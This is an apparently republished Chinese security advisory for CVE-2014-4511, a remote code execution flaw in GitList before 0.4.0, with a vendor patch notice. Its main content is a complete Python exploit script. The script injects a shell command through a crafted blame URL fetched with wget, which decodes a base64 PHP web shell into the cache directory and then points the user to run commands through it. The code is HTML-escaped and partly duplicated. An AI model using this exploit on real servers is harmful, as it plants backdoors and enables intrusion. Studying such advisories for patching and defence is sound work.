受影响系统：GitList GitList < 0.4.0GitList GitList描述：——————————————————————————–BUGTRAQ ID: 68253CVE(CAN) ID: CVE-2014-4511GitList是用PHP编写的开源软件，是git库浏览器。GitList 0.4.0之前版本在实现上存在远程代码执行漏洞，远程攻击者可利用此漏洞执行任意代码。<*来源：drone *>测试方法： ——————————————————————————–
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
复制代码代码如下:from commands import getoutput import urllib import sys from commands import getoutput import urllib import sys\”\”\” Exploit Title: Gitlist <= 0.4.0 anonymous RCE Date: 06/20/2014 Author: drone (@dronesec) Vendor Homepage: <a href=\”http://gitlist.org/\”>http://gitlist.org/</a> Software link: <a href=\”https://s3.amazonaws.com/gitlist/gitlist-0.4.0.tar.gz\”>https://s3.amazonaws.com/gitlist/gitlist-0.4.0.tar.gz</a> Version: <= 0.4.0 Fixed in: 0.5.0 Tested on: Debian 7 More information: <a href=\”http://hatriot.github.io/blog/2014/06/29/gitlist-rce/\”>http://hatriot.github.io/blog/2014/06/29/gitlist-rce/</a> cve: CVE-2014-4511 \”\”\”if len(sys.argv) <= 1: print \’%s: [url to git repo] {cache path}\’ % sys.argv[0] print \’ Example: python %s <a href=\”http://localhost/gitlist/my_repo.git\’\”>http://localhost/gitlist/my_repo.git\'</a> % sys.argv[0] print \’ Example: python %s <a href=\”http://localhost/gitlist/my_repo.git\”>http://localhost/gitlist/my_repo.git</a> /var/www/git/cache\’ % sys.argv[0] sys.exit(1)url = sys.argv[1] url = url if url[-1] != \’/\’ else url[:-1]path = \”/var/www/gitlist/cache\” if len(sys.argv) > 2: path = sys.argv[2]print \'[!] Using cache location %s\’ % path# payload <?system($_GET[\’cmd\’]);?> payload = \”PD9zeXN0ZW0oJF9HRVRbJ2NtZCddKTs/Pgo=\”# sploit; python requests does not like this URL, hence wget is used mpath = \’/blame/master/\”\”`echo {0}|base64 -d > {1}/x.php`\’.format(payload, path) mpath = url+ urllib.quote(mpath)out = getoutput(\”wget %s\” % mpath) if \’500\’ in out: print \'[!] Shell dropped; go hit %s/cache/x.php?cmd=ls\’ % url.rsplit(\’/\’, 1)[0] else: print \'[-] Failed to drop\’ print out
建议：——————————————————————————–厂商补丁：GitList——-目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：http://gitlist.org/
